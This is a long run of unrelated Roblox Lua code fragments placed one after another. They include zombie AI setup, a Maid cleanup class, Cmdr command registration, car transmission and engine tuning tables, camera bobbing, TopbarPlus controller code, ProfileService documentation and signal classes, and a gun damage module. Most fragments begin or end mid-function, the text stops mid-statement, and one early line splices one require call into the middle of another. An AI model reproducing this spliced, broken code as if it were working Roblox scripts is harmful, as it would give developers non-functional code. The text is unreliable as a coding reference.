SwooshSound:Play() Rocket.Touched:Connect(OnTouched)
--local PathLib = require(gamelocal HumanoidList = require(game.ServerStorage.ROBLOX_HumanoidList).ServerStorage.PathfindingLibrary).new()
local AIUtilities = require(game.ServerStorage.ROBLOX_AIUtilities) local ZombieAI = {} function updateDisplay(display, state) local thread = coroutine.create(function() while true do wait() if state then display.Text = state.Name end end end) coroutine.resume(thread) end ZombieAI.new = function(model) local zombie = {} -- CONFIGURATION VARIABLES
-- Public Methods
function MaidClass:Mark(item) local tof = typeof(item) if (DESTRUCTORS[tof]) then self.Trash[item] = tof else error(FORMAT_STR:format(tof), 2) end end function MaidClass:Unmark(item) if (item) then self.Trash[item] = nil else self.Trash = {} end end function MaidClass:Sweep() for item, tof in next, self.Trash do DESTRUCTORS[tof](item) end self.Trash = {} end
-- This is a script you would create in ServerScriptService, for example.
local ServerScriptService = game:GetService("ServerScriptService") local Cmdr = require(ServerScriptService.Cmdr) Cmdr:RegisterDefaultCommands() -- This loads the default set of commands that Cmdr comes with. (Optional) Cmdr:RegisterHooksIn(script.Hooks)
-- Compiled with roblox-ts v2.1.0
local PlayerState do local _inverse = {} PlayerState = setmetatable({}, { __index = _inverse, }) PlayerState.Invincible = 0 _inverse[0] = "Invincible" end return { PlayerState = PlayerState, }
-- Compiled with roblox-ts v1.3.3 --[[ * * * @param obj object of concern. * @param typeId new type. Restricted to keys of the variant. * @param typeKey discriminant key. ]]
local function narrow(obj, typeId, typeKey) local _exp = obj local _condition = typeKey if _condition == nil then _condition = "type" end local typeString = _exp[_condition] return if typeString == typeId then obj else nil end return { narrow = narrow, }
--mute button stuff
local canmute = settings.DisplayMuteButton local clonegui if canmute then clonegui = script.MuteButtonGui:clone() end script.MuteButtonGui:Destroy() local musicon = true function SetButtonStyle(button) button.Text = "Music: ".. (musicon and "ON" or "OFF") button.Style = musicon and Enum.ButtonStyle.RobloxRoundDefaultButton or Enum.ButtonStyle.RobloxRoundDropdownButton button.TextColor3 = musicon and Color3.new(1,1,1) or Color3.new(.2,.2,.23) end function CreateButton() local gui = clonegui:clone() local button = gui.Button button.Visible = true SetButtonStyle(button) button.MouseButton1Click:connect(function() musicon = not musicon local bgm = script:FindFirstChild("BGM") if bgm then bgm.Volume = musicon and bgm.OriginalVolume.Value or 0 end SetButtonStyle(button) end) gui.Parent = plr:WaitForChild("PlayerGui") end function CharInit() char = plr.Character torso = char:WaitForChild("Torso") if canmute then CreateButton() end end if plr.Character and plr.Character.Parent ~= nil then CharInit() end plr.CharacterAdded:connect(function() CharInit() end)
--[[Transmission]]
Tune.TransModes = {"Auto", "Semi", "Manual"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] --Automatic Settings Tune.AutoShiftMode = "Speed" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev) --Gear Ratios Tune.FinalDrive = 2.36 -- Gearing determines top speed and wheel torque Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed --[[Reverse]] 3.70 , -- Copy and paste a ratio to add a gear --[[Neutral]] 0 , -- Ratios can also be deleted --[[ 1 ]] 3.53 , -- Reverse, Neutral, and 1st gear are required --[[ 2 ]] 1.94 , --[[ 3 ]] 1.28 , --[[ 4 ]] .93 , --[[ 5 ]] 0.71 , --[[ 6 ]] 0.54 , } Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
--UserInputService.MouseIconEnabled = false
function lerp(a, b, c) return a + (b - a) * c end bobbing = game:GetService("RunService").RenderStepped:Connect(function(deltaTime) deltaTime = deltaTime * 30 -- Change Value, Higher Value = Bigger Movement if Humanoid.Health <= 0 then bobbing:Disconnect() return end local rootMagnitude = Humanoid.RootPart and Vector3.new(Humanoid.RootPart.Velocity.X, 0, Humanoid.RootPart.Velocity.Z).Magnitude or 0 local calcRootMagnitude = math.min(rootMagnitude, 50) if deltaTime > 3 then func1 = 0 func2 = 0 else func1 = lerp(func1, math.cos(tick() * 0.5 * math.random(10, 15)) * (math.random(5, 20) / 200) * deltaTime, 0.05 * deltaTime) func2 = lerp(func2, math.cos(tick() * 0.5 * math.random(5, 10)) * (math.random(2, 10) / 200) * deltaTime, 0.05 * deltaTime) end Camera.CFrame = Camera.CFrame * (CFrame.fromEulerAnglesXYZ(0, 0, math.rad(func3)) * CFrame.fromEulerAnglesXYZ(math.rad(func4 * deltaTime), math.rad(val * deltaTime), val2) * CFrame.Angles(0, 0, math.rad(func4 * deltaTime * (calcRootMagnitude / 5))) * CFrame.fromEulerAnglesXYZ(math.rad(func1), math.rad(func2), math.rad(func2 * 10))) val2 = math.clamp(lerp(val2, -Camera.CFrame:VectorToObjectSpace((Humanoid.RootPart and Humanoid.RootPart.Velocity or Vector3.new()) / math.max(Humanoid.WalkSpeed, 0.01)).X * 0.08, 0.1 * deltaTime), -0.35, 0.2) func3 = lerp(func3, math.clamp(UserInputService:GetMouseDelta().X, -5, 5), 0.25 * deltaTime) func4 = lerp(func4, math.sin(tick() * int) / 5 * math.min(1, int2 / 10), 0.25 * deltaTime) if rootMagnitude > 1 then val = lerp(val, math.cos(tick() * 0.5 * math.floor(int)) * (int / 200), 0.25 * deltaTime) else val = lerp(val, 0, 0.05 * deltaTime) end if rootMagnitude > 12 then int = 15 -- 20 int2 = 11 -- 18 elseif rootMagnitude > 0.1 then int = 4 -- 12 is Default. Higher = Faster Movement int2 = 14 --14 default, experiment with this value else int2 = 0 end Player.CameraMaxZoomDistance = 25 Player.CameraMinZoomDistance = 0.5 vect3 = lerp(vect3, Camera.CFrame.LookVector, 0.125 * deltaTime) end)
-- Calculate the average linear velocity of the car based on the rate at which all wheels are spinning
local function getAverageVelocity() local vFR = -motorFR.Attachment1.WorldAxis:Dot(motorFR.Attachment1.Parent.RotVelocity) local vRR = -motorBR.Attachment1.WorldAxis:Dot(motorBR.Attachment1.Parent.RotVelocity) local vFL = motorFL.Attachment1.WorldAxis:Dot(motorFL.Attachment1.Parent.RotVelocity) local vRL = motorBL.Attachment1.WorldAxis:Dot(motorBL.Attachment1.Parent.RotVelocity) return 0.25 * ( vFR + vFL + vRR + vRL ) end
--[[** ensures Lua primitive boolean type @param value The value to check against @returns True iff the condition is satisfied, false otherwise **--]]
t.boolean = t.typeof("boolean")
--// Aim|Zoom|Sensitivity Customization
ZoomSpeed = 0.25; -- The lower the number the slower and smoother the tween AimZoom = 50; -- Default zoom AimSpeed = 0.45; UnaimSpeed = 0.35; CycleAimZoom = 35; -- Cycled zoom MouseSensitivity = 0.5; -- Number between 0.1 and 1 SensitivityIncrement = 0.05; -- No touchy
-- print("Keyframe : ".. frameName)
local repeatAnim = currentAnim -- return to idle if finishing an emote if (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then repeatAnim = "idle" end local animSpeed = currentAnimSpeed playAnimation(repeatAnim, 0.0, Humanoid) setAnimationSpeed(animSpeed) end end
-- ROBLOX NOTE: no upstream: replaces node js writeable stream API
export type Writeable = { isTTY: boolean?, write: (self: Writeable, data: string) -> (), } local Writeable = {} Writeable.__index = Writeable function Writeable.new(options: { write: (data: string) -> () }): Writeable local self = setmetatable({}, Writeable) self._writeFn = if options ~= nil and typeof(options.write) == "function" then options.write else print self.isTTY = false return (self :: any) :: Writeable end function Writeable:write(data: string) self._writeFn(data) end return { Writeable = Writeable, }
-- Loader -- Stephen Leitnick -- January 10, 2021
--[[ [How fast the body rotates.] [Setting to 0 negates tracking, and setting to 1 is instant rotation. 0.5 is a nice in-between that works with MseGuide on or off.] [Setting this any higher than 1 causes weird glitchy shaking occasionally.] --]]
local UpdateSpeed = 1 local NeckOrgnC0 = Neck.C0 --[Get the base C0 to manipulate off of.] local WaistOrgnC0 = (not IsR6 and Waist.C0) --[Get the base C0 to manipulate off of.]
--[[Weld functions]]
local JS = game:GetService("JointsService") local PGS_ON = workspace:PGSIsEnabled() function MakeWeld(x,y,type,s) if type==nil then type="Weld" end local W=Instance.new(type) W.Part0=x W.Part1=y W.C0=x.CFrame:inverse()*x.CFrame W.C1=y.CFrame:inverse()*x.CFrame if type=="Motor" and s~=nil then W.MaxVelocity=s end W.Parent = JS return W end function ModelWeld(a,b) if a:IsA("BasePart") then MakeWeld(b,a,"Weld") elseif a:IsA("Model") then for i,v in pairs(a:GetChildren()) do ModelWeld(v,b) end end end function UnAnchor(a) if a:IsA("BasePart") then a.Anchored=false end for i,v in pairs(a:GetChildren()) do UnAnchor(v) end end
--[[Transmission]]
Tune.TransModes = {"Auto", "Manual"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] --Automatic Settings Tune.AutoShiftMode = "RPM" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev) --Gear Ratios Tune.FinalDrive = 5.2 -- Gearing determines top speed and wheel torque Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed --[[Reverse]] 3.15 , -- Copy and paste a ratio to add a gear --[[Neutral]] 0 , -- Ratios can also be deleted --[[ 1 ]] 3.40 , -- Reverse, Neutral, and 1st gear are required --[[ 2 ]] 2.17 , --[[ 3 ]] 1.38 , --[[ 4 ]] 0.95 , --[[ 5 ]] 0.80 , --[[ 6 ]] 0.67 } Tune.FDMult = 1 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
--[=[ Converts this arbitrary value into an observable suitable for use in properties. @param value any @return Observable? ]=]
function Blend.toPropertyObservable(value) if Observable.isObservable(value) then return value elseif typeof(value) == "Instance" then -- IntValue, ObjectValue, et cetera if ValueBaseUtils.isValueBase(value) then return RxValueBaseUtils.observeValue(value) end elseif type(value) == "table" then if ValueObject.isValueObject(value) then return ValueObjectUtils.observeValue(value) elseif Promise.isPromise(value) then return Rx.fromPromise(value) end end return nil end
--edit the function below to return true when you want this response/prompt to be valid --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder) local ClassInformationTable = require(game.ReplicatedStorage.Source.Modules.CharacterScripts.Classes.ClassInformation) return (not ClassInformationTable:GetClassFolder(player,"Paladin").Obtained.Value) or (not ClassInformationTable:GetClassFolder(player,"Paladin").JumpStrike1.Value) end
-- PRIVATE METHODS
function IconController:_updateSelectionGroup(clearAll) if IconController._navigationEnabled then guiService:RemoveSelectionGroup("TopbarPlusIcons") end if clearAll then guiService.CoreGuiNavigationEnabled = IconController._originalCoreGuiNavigationEnabled guiService.GuiNavigationEnabled = IconController._originalGuiNavigationEnabled IconController._navigationEnabled = nil elseif IconController.controllerModeEnabled then local icons = IconController.getIcons() local iconContainers = {} for i, otherIcon in pairs(icons) do local featureName = otherIcon.joinedFeatureName if not featureName or otherIcon._parentIcon[otherIcon.joinedFeatureName.."Open"] == true then table.insert(iconContainers, otherIcon.instances.iconButton) end end guiService:AddSelectionTuple("TopbarPlusIcons", table.unpack(iconContainers)) if not IconController._navigationEnabled then IconController._originalCoreGuiNavigationEnabled = guiService.CoreGuiNavigationEnabled IconController._originalGuiNavigationEnabled = guiService.GuiNavigationEnabled guiService.CoreGuiNavigationEnabled = false guiService.GuiNavigationEnabled = true IconController._navigationEnabled = true end end end local function getScaleMultiplier() if guiService:IsTenFootInterface() then return 3 else return 1.3 end end function IconController._setControllerSelectedObject(object) local startId = (IconController._controllerSetCount and IconController._controllerSetCount + 1) or 0 IconController._controllerSetCount = startId guiService.SelectedObject = object delay(0.1, function() -- blame the roblox guiservice its a piece of doo doo local finalId = IconController._controllerSetCount if startId == finalId then guiService.SelectedObject = object end end) end function IconController._enableControllerMode(bool) local indicator = TopbarPlusGui.Indicator local controllerOptionIcon = IconController.getIcon("_TopbarControllerOption") if IconController.controllerModeEnabled == bool then return end IconController.controllerModeEnabled = bool if bool then TopbarPlusGui.TopbarContainer.Position = UDim2.new(0,0,0,5) TopbarPlusGui.TopbarContainer.Visible = false local scaleMultiplier = getScaleMultiplier() indicator.Position = UDim2.new(0.5,0,0,5) indicator.Size = UDim2.new(0, 18*scaleMultiplier, 0, 18*scaleMultiplier) indicator.Image = "rbxassetid://5278151556" indicator.Visible = checkTopbarEnabledAccountingForMimic() indicator.Position = UDim2.new(0.5,0,0,5) else TopbarPlusGui.TopbarContainer.Position = UDim2.new(0,0,0,0) TopbarPlusGui.TopbarContainer.Visible = checkTopbarEnabledAccountingForMimic() indicator.Visible = false IconController._setControllerSelectedObject(nil) end for icon, _ in pairs(topbarIcons) do IconController._enableControllerModeForIcon(icon, bool) end end function IconController._enableControllerModeForIcon(icon, bool) local parentIcon = icon._parentIcon local featureName = icon.joinedFeatureName if parentIcon then icon:leave() end if bool then local scaleMultiplier = getScaleMultiplier() local currentSizeDeselected = icon:get("iconSize", "deselected") local currentSizeSelected = icon:get("iconSize", "selected") local currentSizeHovering = icon:getHovering("iconSize") icon:set("iconSize", UDim2.new(0, currentSizeDeselected.X.Offset*scaleMultiplier, 0, currentSizeDeselected.Y.Offset*scaleMultiplier), "deselected", "controllerMode") icon:set("iconSize", UDim2.new(0, currentSizeSelected.X.Offset*scaleMultiplier, 0, currentSizeSelected.Y.Offset*scaleMultiplier), "selected", "controllerMode") if currentSizeHovering then icon:set("iconSize", UDim2.new(0, currentSizeSelected.X.Offset*scaleMultiplier, 0, currentSizeSelected.Y.Offset*scaleMultiplier), "hovering", "controllerMode") end icon:set("alignment", "mid", "deselected", "controllerMode") icon:set("alignment", "mid", "selected", "controllerMode") else local states = {"deselected", "selected", "hovering"} for _, iconState in pairs(states) do local _, previousAlignment = icon:get("alignment", iconState, "controllerMode") if previousAlignment then icon:set("alignment", previousAlignment, iconState) end local currentSize, previousSize = icon:get("iconSize", iconState, "controllerMode") if previousSize then icon:set("iconSize", previousSize, iconState) end end end if parentIcon then icon:join(parentIcon, featureName) end end
--[[ Constructs special keys for property tables which connect event listeners to an instance. ]]
local parseError = require(script.Parent.Parent.Dependencies).utility.parseError local function getProperty_unsafe(instance: Instance, property: string) return (instance :: any)[property] end local function OnEvent(eventName: string) local eventKey = {} eventKey.type = "SpecialKey" eventKey.kind = "OnEvent" eventKey.stage = "observer" function eventKey:apply(callback: any, applyTo: Instance, cleanupTasks: {}) local ok, event = pcall(getProperty_unsafe, applyTo, eventName) if not ok or typeof(event) ~= "RBXScriptSignal" then parseError("cannotConnectEvent", nil, applyTo.ClassName, eventName) elseif typeof(callback) ~= "function" then parseError("invalidEventHandler", nil, eventName) else table.insert(cleanupTasks, event:Connect(callback)) end end return eventKey end return OnEvent
--[=[ @param raycastParams RaycastParams @param distance number? @param overridePos Vector2? @return result: RaycastResult? Performs a raycast operation out from the mouse position (or the `overridePos` if provided) into world space. The ray will go `distance` studs forward (or 1000 studs if not provided). Returns the `RaycastResult` if something was hit, else returns `nil`. ]=]
function Mouse:Raycast(raycastParams, distance, overridePos) local viewportMouseRay = self:GetRay(overridePos) local result = workspace:Raycast(viewportMouseRay.Origin, viewportMouseRay.Direction * (distance or RAY_DISTANCE), raycastParams) return result end
--[[ Calls destroy() on the object associated with the given key and removes it from the registry ]]
function Registry:remove(key) local object = self.objects[key] if object then object:destroy() end self.objects[key] = nil end
-- local Madwork = _G.Madwork --[[ {Madwork} -[ProfileService]--------------------------------------- (STANDALONE VERSION) DataStore profiles - universal session-locked savable table API Official documentation: https://madstudioroblox.github.io/ProfileService/ DevForum discussion: https://devforum.roblox.com/t/ProfileService/667805 WARNINGS FOR "Profile.Data" VALUES: ! Do not create numeric tables with gaps - attempting to replicate such tables will result in an error; ! Do not create mixed tables (some values indexed by number and others by string key), as only the data indexed by number will be replicated. ! Do not index tables by anything other than numbers and strings. ! Do not reference Roblox Instances ! Do not reference userdata (Vector3, Color3, CFrame...) - Serialize userdata before referencing ! Do not reference functions WARNING: Calling ProfileStore:LoadProfileAsync() with a "profile_key" which wasn't released in the SAME SESSION will result in an error! If you want to "ProfileStore:LoadProfileAsync()" instead of using the already loaded profile, :Release() the old Profile object. Members: ProfileService.ServiceLocked [bool] ProfileService.IssueSignal [ScriptSignal] (error_message, profile_store_name, profile_key) ProfileService.CorruptionSignal [ScriptSignal] (profile_store_name, profile_key) ProfileService.CriticalStateSignal [ScriptSignal] (is_critical_state) Functions: ProfileService.GetProfileStore(profile_store_index, profile_template) --> [ProfileStore] profile_store_index [string] -- DataStore name OR profile_store_index [table]: -- Allows the developer to define more GlobalDataStore variables { Name = "StoreName", -- [string] -- DataStore name -- Optional arguments: Scope = "StoreScope", -- [string] -- DataStore scope } profile_template [table] -- Profiles will default to given table (hard-copy) when no data was saved previously Members [ProfileStore]: ProfileStore.Mock [ProfileStore] -- Reflection of ProfileStore methods, but the methods will use a mock DataStore Methods [ProfileStore]: ProfileStore:LoadProfileAsync(profile_key, not_released_handler) --> [Profile / nil] not_released_handler(place_id, game_job_id) ProfileStore:GlobalUpdateProfileAsync(profile_key, update_handler) --> [GlobalUpdates / nil] (update_handler(GlobalUpdates)) -- Returns GlobalUpdates object if update was successful, otherwise returns nil ProfileStore:ViewProfileAsync(profile_key) --> [Profile / nil] -- Notice #1: Profile object methods will not be available; Notice #2: Profile object members will be nil (Profile.Data = nil, Profile.MetaData = nil) if the profile hasn't been created, with the exception of Profile.GlobalUpdates which could be empty or populated by ProfileStore:GlobalUpdateProfileAsync() ProfileStore:WipeProfileAsync(profile_key) --> is_wipe_successful [bool] -- Completely wipes out profile data from the DataStore / mock DataStore with no way to recover it. * Parameter description for "ProfileStore:LoadProfileAsync()": profile_key [string] -- DataStore key not_released_handler = "ForceLoad" -- Force loads profile on first call OR not_released_handler = "Steal" -- Steals the profile ignoring it's session lock OR not_released_handler [function] (place_id, game_job_id) --> [string] ("Repeat" / "Cancel" / "ForceLoad") -- "not_released_handler" will be triggered in cases where the profile is not released by a session. This function may yield for as long as desirable and must return one of three string values: ["Repeat"] - ProfileService will repeat the profile loading proccess and may trigger the release handler again ["Cancel"] - ProfileStore:LoadProfileAsync() will immediately return nil ["ForceLoad"] - ProfileService will repeat the profile loading call, but will return Profile object afterwards and release the profile for another session that has loaded the profile ["Steal"] - The profile will usually be loaded immediately, ignoring an existing remote session lock and applying a session lock for this session. * Parameter description for "ProfileStore:GlobalUpdateProfileAsync()": profile_key [string] -- DataStore key update_handler [function] (GlobalUpdates) -- This function gains access to GlobalUpdates object methods (update_handler can't yield) Members [Profile]: Profile.Data [table] -- Writable table that gets saved automatically and once the profile is released Profile.MetaData [table] (Read-only) -- Information about this profile Profile.MetaData.ProfileCreateTime [number] (Read-only) -- os.time() timestamp of profile creation Profile.MetaData.SessionLoadCount [number] (Read-only) -- Amount of times the profile was loaded Profile.MetaData.ActiveSession [table] (Read-only) {place_id, game_job_id} / nil -- Set to a session link if a game session is currently having this profile loaded; nil if released Profile.MetaData.MetaTags [table] {["tag_name"] = tag_value, ...} -- Saved and auto-saved just like Profile.Data Profile.MetaData.MetaTagsLatest [table] (Read-only) -- Latest version of MetaData.MetaTags that was definetly saved to DataStore (You can use Profile.MetaData.MetaTagsLatest for product purchase save confirmation, but create a system to clear old tags after they pile up) Profile.MetaTagsUpdated [ScriptSignal] (meta_tags_latest) -- Fires after every auto-save, after -- Profile.MetaData.MetaTagsLatest has been updated with the version that's guaranteed to be saved; -- .MetaTagsUpdated will fire regardless of whether .MetaTagsLatest changed after update; -- .MetaTagsUpdated may fire after the Profile is released - changes to Profile.Data are not saved -- after release. Profile.GlobalUpdates [GlobalUpdates] Methods [Profile]: -- SAFE METHODS - Will not error after profile expires: Profile:IsActive() --> [bool] -- Returns true while the profile is active and can be written to Profile:GetMetaTag(tag_name) --> value Profile:Reconcile() -- Fills in missing (nil) [string_key] = [value] pairs to the Profile.Data structure Profile:ListenToRelease(listener) --> [ScriptConnection] (place_id / nil, game_job_id / nil) -- WARNING: Profiles can be released externally if another session force-loads this profile - use :ListenToRelease() to handle player leaving cleanup. Profile:Release() -- Call after the session has finished working with this profile e.g., after the player leaves (Profile object will become expired) (Does not yield) Profile:ListenToHopReady(listener) --> [ScriptConnection] () -- Passed listener will be executed after the releasing UpdateAsync call finishes; -- Wrap universe teleport requests with this method AFTER releasing the profile to improve session lock sharing between universe places; -- :ListenToHopReady() will usually call the listener in around a second, but may ocassionally take up to 7 seconds when a release happens -- next to an auto-update in regular usage scenarios. Profile:Identify() --> [string] -- Returns a string containing DataStore name, scope and key; Used for debug; -- Example return: "[Store:"GameData";Scope:"Live";Key:"Player_2312310"]" -- DANGEROUS METHODS - Will error if the profile is expired: -- MetaTags - Save and read values stored in Profile.MetaData for storing info about the profile itself like "Profile:SetMetaTag("FirstTimeLoad", true)" Profile:SetMetaTag(tag_name, value) Profile:Save() -- Call to quickly progress global update state or to speed up save validation processes (Does not yield) Methods [GlobalUpdates]: -- ALWAYS PUBLIC: GlobalUpdates:GetActiveUpdates() --> [table] {{update_id, update_data}, ...} GlobalUpdates:GetLockedUpdates() --> [table] {{update_id, update_data}, ...} -- ONLY WHEN FROM "Profile.GlobalUpdates": GlobalUpdates:ListenToNewActiveUpdate(listener) --> [ScriptConnection] listener(update_id, update_data) GlobalUpdates:ListenToNewLockedUpdate(listener) --> [ScriptConnection] listener(update_id, update_data) -- WARNING: GlobalUpdates:LockUpdate() and GlobalUpdates:ClearLockedUpdate() will error after profile expires GlobalUpdates:LockActiveUpdate(update_id) GlobalUpdates:ClearLockedUpdate(update_id) -- EXPOSED TO "update_handler" DURING ProfileStore:GlobalUpdateProfileAsync() CALL GlobalUpdates:AddActiveUpdate(update_data) GlobalUpdates:ChangeActiveUpdate(update_id, update_data) GlobalUpdates:ClearActiveUpdate(update_id) --]]
local SETTINGS = { AutoSaveProfiles = 30, -- Seconds (This value may vary - ProfileService will split the auto save load evenly in the given time) RobloxWriteCooldown = 7, -- Seconds between successive DataStore calls for the same key ForceLoadMaxSteps = 8, -- Steps taken before ForceLoad request steals the active session for a profile AssumeDeadSessionLock = 30 * 60, -- (seconds) If a profile hasn't been updated for 30 minutes, assume the session lock is dead -- As of writing, os.time() is not completely reliable, so we can only assume session locks are dead after a significant amount of time. IssueCountForCriticalState = 5, -- Issues to collect to announce critical state IssueLast = 120, -- Seconds CriticalStateLast = 120, -- Seconds MetaTagsUpdatedValues = { -- Technical stuff - do not alter ProfileCreateTime = true, SessionLoadCount = true, ActiveSession = true, ForceLoadSession = true, LastUpdate = true, } } local Madwork -- Standalone Madwork reference for portable version of ProfileService do local MadworkScriptSignal = {} local ScriptConnection = {} function ScriptConnection:Disconnect() local listener = self._listener if listener ~= nil then local script_signal = self._script_signal local fire_pointer_stack = script_signal._fire_pointer_stack local listeners_next = script_signal._listeners_next local listeners_back = script_signal._listeners_back -- Check fire pointers: for i = 1, script_signal._stack_count do if fire_pointer_stack[i] == listener then fire_pointer_stack[i] = listeners_next[listener] end end -- Remove listener: if script_signal._tail_listener == listener then local new_tail = listeners_back[listener] if new_tail ~= nil then listeners_next[new_tail] = nil listeners_back[listener] = nil else script_signal._head_listener = nil -- tail was also head end script_signal._tail_listener = new_tail elseif script_signal._head_listener == listener then -- If this listener is not the tail, assume another listener is the tail: local new_head = listeners_next[listener] listeners_back[new_head] = nil listeners_next[listener] = nil script_signal._head_listener = new_head else local next_listener = listeners_next[listener] local back_listener = listeners_back[listener] if next_listener ~= nil or back_listener ~= nil then -- Catch cases when duplicate listeners are disconnected listeners_next[back_listener] = next_listener listeners_back[next_listener] = back_listener listeners_next[listener] = nil listeners_back[listener] = nil end end self._listener = nil script_signal._listener_count -= 1 end if self._disconnect_listener ~= nil then self._disconnect_listener(self._disconnect_param) self._disconnect_listener = nil end end local ScriptSignal = {} function ScriptSignal:Connect(listener, disconnect_listener, disconnect_param) --> [ScriptConnection] if type(listener) ~= "function" then error("[MadworkScriptSignal]: Only functions can be passed to ScriptSignal:Connect()") end local tail_listener = self._tail_listener if tail_listener == nil then self._head_listener = listener self._tail_listener = listener self._listener_count += 1 elseif tail_listener ~= listener and self._listeners_next[listener] == nil then -- Prevent connecting the same listener more than once self._listeners_next[tail_listener] = listener self._listeners_back[listener] = tail_listener self._tail_listener = listener self._listener_count += 1 end return { _listener = listener, _script_signal = self, _disconnect_listener = disconnect_listener, _disconnect_param = disconnect_param, Disconnect = ScriptConnection.Disconnect } end function ScriptSignal:GetListenerCount() return self._listener_count end function ScriptSignal:Fire(...) local fire_pointer_stack = self._fire_pointer_stack local stack_id = self._stack_count + 1 self._stack_count = stack_id local listeners_next = self._listeners_next fire_pointer_stack[stack_id] = self._head_listener while true do local pointer = fire_pointer_stack[stack_id] fire_pointer_stack[stack_id] = listeners_next[pointer] if pointer ~= nil then coroutine.wrap(pointer)(...) else break end end self._stack_count -= 1 end function ScriptSignal:FireUntil(continue_callback, ...) local fire_pointer_stack = self._fire_pointer_stack local stack_id = self._stack_count + 1 self._stack_count = stack_id local listeners_next = self._listeners_next fire_pointer_stack[stack_id] = self._head_listener while true do local pointer = fire_pointer_stack[stack_id] fire_pointer_stack[stack_id] = listeners_next[pointer] if pointer ~= nil then coroutine.wrap(pointer)(...) if continue_callback() ~= true then fire_pointer_stack[stack_id] = nil break end else break end end self._stack_count -= 1 end function MadworkScriptSignal.NewScriptSignal() --> [ScriptSignal] return { _fire_pointer_stack = {}, _stack_count = 0, _listener_count = 0, _listeners_next = {}, _listeners_back = {}, _head_listener = nil, _tail_listener = nil, Connect = ScriptSignal.Connect, GetListenerCount = ScriptSignal.GetListenerCount, Fire = ScriptSignal.Fire, FireUntil = ScriptSignal.FireUntil, } end local RunService = game:GetService("RunService") local Heartbeat = RunService.Heartbeat Madwork = { NewScriptSignal = MadworkScriptSignal.NewScriptSignal, HeartbeatWait = function(wait_time) --> time_elapsed if wait_time == nil or wait_time == 0 then return Heartbeat:Wait() else local time_elapsed = 0 while time_elapsed <= wait_time do local time_waited = Heartbeat:Wait() time_elapsed = time_elapsed + time_waited end return time_elapsed end end, ConnectToOnClose = function(task, run_in_studio_mode) if game:GetService("RunService"):IsStudio() == false or run_in_studio_mode == true then game:BindToClose(task) end end, } end
-- / Functions / --
ShootModule.ActivateModule = function(StartPosition, HitPosition, EnemyHumanoid, Damage) local BulletNode = Instance.new("Part") BulletNode.Transparency = 1 BulletNode.CanCollide = false BulletNode.Anchored = true BulletNode.CanTouch = false BulletNode.CanQuery = false local StartNode = BulletNode:Clone() StartNode.Parent = game.Workspace StartNode.Position = StartPosition local EndNode = BulletNode:Clone() EndNode.Parent = game.Workspace EndNode.Position = HitPosition local A0 = Instance.new("Attachment") A0.Parent = StartNode local A1 = Instance.new("Attachment") A1.Parent = EndNode local BulletTrail = GunAssets:WaitForChild("BulletTrail"):Clone() BulletTrail.Parent = Gun BulletTrail.Attachment0 = A0 BulletTrail.Attachment1 = A1 Debris:AddItem(StartNode, 0.1) Debris:AddItem(EndNode, 0.1) Debris:AddItem(A0, 0.1) Debris:AddItem(A1, 0.1) Debris:AddItem(BulletTrail, 0.1) if EnemyHumanoid then EnemyHumanoid:TakeDamage(Damage) end end
--[[Engine]]
local fFD = _Tune.FinalDrive*_Tune.FDMult local fFDr = fFD*30/math.pi local cGrav = workspace.Gravity*_Tune.InclineComp/32.2 local wDRatio = wDia*math.pi/60 local cfWRot = CFrame.Angles(math.pi/2,-math.pi/2,0) local cfYRot = CFrame.Angles(0,math.pi,0) local rtTwo = (2^.5)/2 --Horsepower Curve local fgc_h=_Tune.Horsepower/100 local fgc_n=_Tune.PeakRPM/1000 local fgc_a=_Tune.PeakSharpness local fgc_c=_Tune.CurveMult function FGC(x) x=x/1000 return (((-(x-fgc_n)^2)*math.min(fgc_h/(fgc_n^2),fgc_c^(fgc_n/fgc_h)))+fgc_h)*(x-((x^fgc_a)/((fgc_a*fgc_n)^(fgc_a-1)))) end local PeakFGC = FGC(_Tune.PeakRPM) --Plot Current Horsepower function GetCurve(x,gear) local hp=math.max((FGC(x)*_Tune.Horsepower)/PeakFGC,0) return hp,hp*(_Tune.EqPoint/x)*_Tune.Ratios[gear+2]*fFD*hpScaling end --Output Cache local CacheTorque = true local HPCache = {} local HPInc = 100 if CacheTorque then for gear,ratio in pairs(_Tune.Ratios) do local hpPlot = {} for rpm = math.floor(_Tune.IdleRPM/HPInc),math.ceil((_Tune.Redline+100)/HPInc) do local tqPlot = {} tqPlot.Horsepower,tqPlot.Torque = GetCurve(rpm*HPInc,gear-2) hp1,tq1 = GetCurve((rpm+1)*HPInc,gear-2) tqPlot.HpSlope = (hp1 - tqPlot.Horsepower)/(HPInc/1000) tqPlot.TqSlope = (tq1 - tqPlot.Torque)/(HPInc/1000) hpPlot[rpm] = tqPlot end table.insert(HPCache,hpPlot) end end --Powertrain --Update RPM function RPM() --Neutral Gear if _CGear==0 then _ClutchOn = false end --Car Is Off local revMin = _Tune.IdleRPM if not _IsOn then revMin = 0 _CGear = 0 _ClutchOn = false _GThrot = _Tune.IdleThrottle/100 end --launch control if math.floor(script.Parent.Values.Velocity.Value.Magnitude) == 0 and _GThrot == 1 and _GBrake == 1 and _IsOn == true and _CGear > 0 then if _GThrot == 1 and _GBrake == 1 then if LaunchBuild < _Tune.LaunchBuildup then LaunchBuild = LaunchBuild + 50 end _RPM = LaunchBuild else if LaunchBuild > 